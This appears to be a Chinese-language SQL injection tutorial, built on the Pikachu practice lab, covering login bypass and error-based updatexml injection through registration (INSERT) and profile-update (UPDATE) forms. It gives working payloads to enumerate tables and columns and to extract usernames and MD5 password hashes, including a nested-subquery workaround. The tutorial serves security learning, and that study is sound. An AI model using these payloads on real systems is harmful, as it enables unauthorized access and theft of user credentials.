泰安市网站建设_网站建设公司_Angular_seo优化
2025/12/20 20:38:15 网站建设 项目流程

insert/update 注入

关于登录、注册和修改信息的漏洞

登录页面

登录框注入最大的价值 —— 未授权访问

登录页面的功能通常是: “如果查到了人,就让他登录;如果没查到,就报错。”不会把查到的用户名密码打印在屏幕上给你看。所以就不会有像之前字符型注入那样输入 -1' or '1'= '1' -- 那样有回显

但是如果登录界面有漏洞的话,就可以输入admin' or 1=1 # 或者类似的字样未授权访问。

注册界面:

报错注入(Error-based SQLi)让数据库吐出数据。

第一步:

在注册时的用户框中输入kobe' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or '​ 其他的随便填。 如果有错误回显那么说明就有漏洞,一般是返回数据库的名称,比如 XPATH syntax error: 'pikachu'

拆解命令 kobe' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or ' :

kobe' ​:闭合左边。后台 SQL 语句原本是 VALUES ('$username', ...)​。输入 kobe'​,就变成了 VALUES ('kobe'', ...)。第一个单引号你闭合了。

updatexml(..., ..., ...) ​:核心炸弹。这是一个用于更新 XML 数据的函数。它有三个参数,其中第二个参数必须是合法的 XPath 格式(类似文件夹路径)。

concat(0x7e, database(), 0x7e) ​:制造非法路径0x7e​ 是十六进制,转换成字符就是波浪号 ~ ​。这个函数会拼出一个字符串:~pikachu~​。关键点:XPath 路径里绝对不能出现 ~​。所以数据库在处理到这一步时,会因为“路径不合法”而报错

or ' ​:闭合右边。后台原本还有一个右单引号。加个 or '​,拼起来就变成了 or ''。这样整句 SQL 语句在语法上是完美的,数据库才会去执行它。

第二步:

既然 database() 成功了,只需要按照之前的逻辑把 database() 替换掉即可。

爆表名 Payload:' or updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0,1), 0x7e), 1) or '

updatexml​ 有一个限制,它一次只能报错显示一条数据。所以我们不能用 group_concat​,而要用 limit 0,1 一条一条地看。

为什么要用 limit 0,1

长度限制updatexml​ 的报错信息长度有限(通常最多显示 32 个字符)。

无法打包:如果用 group_concat 把所有表名都查出来,报错窗口太小,根本塞不下,数据会被截断。

一个一个查:所以用 limit 0,1​(看第 1 个表),然后改写成 limit 1,1(看第 2 个表),像翻书一样把表名一个个翻出来。

limit 0,1​:从第 0 行开始,取 1 行(即第 1 张表)。看第三张表:limit 2,1

第三步

爆列名:确定账号、密码这两列到底叫什么(是 username​ 还是 user_name?)。

假设锁定的表名是 users​。需要去 information_schema.columns 这个总表里查它的列名。

Payload:' or updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1), 0x7e), 1) or '

不断修改 limit 0,1​、limit 1,1​、limit 2,1​。会依次爆出 user_id​、first_name​、last_name等。记住这些名字!

爆具体数据:锁定我们要的列,提取出第一个人、第二个人...的账号密码。

找到了列名(假设叫 user_id​ 和 password​)之后,我们就可以直接去查 users 表了。

Payload (提取第 1 个用户的账号和密码):' or updatexml(1, concat(0x7e, (select p from (select concat(username, 0x3a, pw) as p from member limit 0,1) as t), 0x7e), 1) or ' 查看回显发现密码部分是一个乱码。这是MD5加密后的结果,所以得去解密。但是去解密的时候发现还是不对,因为md5加密是32位的,刚才的回显没有完全显示

处理长度限制:因为报错信息有长度限制,如果密码太长(如 MD5 加密),我们需要分段读取。

利用 substr() 函数分段读取。

先读前 16 位:' or updatexml(1, concat(0x7e, (select substr(password, 1, 16) from users limit 0,1), 0x7e), 1) or '

再读后 16 位:' or updatexml(1, concat(0x7e, (select substr(password, 17, 16) from users limit 0,1), 0x7e), 1) or '

解释substr(password, 17, 16)​:表示从第 17 个字符开始,读取16位字符。

最后拼接然后对md5解密就可以得到密码了:

e10adc3949ba59ab

be56e057f20f883e

image

最后就是要注意有时候拿到的账号和密码可能在登录界面登不上去,原因是因为爆破的表错了。登录页面校验的表不是这个表,比如我如果爆破的是users的表得到的账号是admin密码是123456,就进不去。所以就要尝试爆破其他的表,比如说member。

UPDATE 类型

介绍

价值在于可以借尸还魂(修改已有账号权限或偷取他人信息)。

在皮卡丘靶场里面,登录进去之后的“个人会员中心”页面后台的sql逻辑大概是这样的:UPDATE member SET sex='$sex', phonenum='$​phone', address='$address', email='$​email' WHERE username='$username';

注入点变多了:性别、手机、住址、邮箱,每一个输入框都可能是一个注入点。 在实战中,只要其中一个没做过滤,整张表就沦陷了。

注入思想还是和前面的一样,“投石问路”。

但是注意在payload其中一个框的时候,其他地方也要用数据填充,这样才会有错误回显。

和注册页面payload的区别
相同

如果只是想爆数据库名 (database()​) 或者当前用户名 (user()​),或者攻击另一张表(比如 users​ 表),那么 Payload 是完全通用的

  • 注册页面 (Insert) ​:' or updatexml(1, concat(0x7e, database()), 1) or '
  • 修改页面 (Update) ​:' or updatexml(1, concat(0x7e, database()), 1) or '

结论: 只要不涉及“读自己改自己”,这两者代码一模一样。

不同

想要在修改页面去窃取 member表(也就是当前这张表) 的数据时,情况就变了。

  • 注册页面 (Insert) ​: 通常允许你在插入时查询 member 表(检查重名等),所以直接查没问题。
  • 修改页面 (Update)绝对禁止! MySQL 有一个硬性规定:不能在 UPDATE 语句的 WHERE 子句或 SET 子句中,直接 SELECT 正在被 UPDATE 的那张表。

如果你在修改页面直接用注册页面的 Payload:' or updatexml(1, concat(0x7e, (select pw from member limit 0,1)), 1) or '

必定报错 You can't specify target table 'member' for update...

为了绕过上面那个限制,我们在修改页面必须使用 “套娃战术” (双重子查询 + 别名)

修改页面的“万能”Payload:' or updatexml(1, concat(0x7e, (select p from (select concat(username,0x3a,pw) as p from member limit 0,1) as t), 0x7e), 1) or '

然后查找密码的时候(md5的前16位)如果直接用:' or updatexml(1, concat(0x7e, (select substr(pw, 1, 16) from member limit 0,1), 0x7e), 1) or ' 也会报错。

套娃:' or updatexml(1, concat(0x7e, (select p from (select substr(pw, 1, 16) as p from member limit 0,1) as t), 0x7e), 1) or '

substr(pw, 1, 16) ​: 从 pw 列(不是 password)截取前 16 位。

as p​: 给截取出来的这段残缺密码起个小名叫 p

from member limit 0,1​: 从 member 表里取第一条数据。

as t​: (关键!) 把上面查出来的结果打包成一张临时表,起名叫 t

select p from (...) ​: 最后从临时表 t​ 里把小名 p 的数据取出来。

最后

在实战中,“猜列名”是很重要的一步。users​ 表常用 password​/pwd​,而 member​ 表可能用 pw​/pass​。如果报错提示 column not found​,记得要去 information_schema.columns 里确认一下真正的列名。

Update 注入的危害不只是“偷” 。除了偷数据,Update 注入最可怕的直接后果是“破坏数据完整性” 。比如 Payload 构造失误,变成了 UPDATE member SET ... WHERE 1=1,可能会导致全站用户的密码被重置成一样的。所以在实战(尤其是生产环境)中测试 Update 注入要极其小心!

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询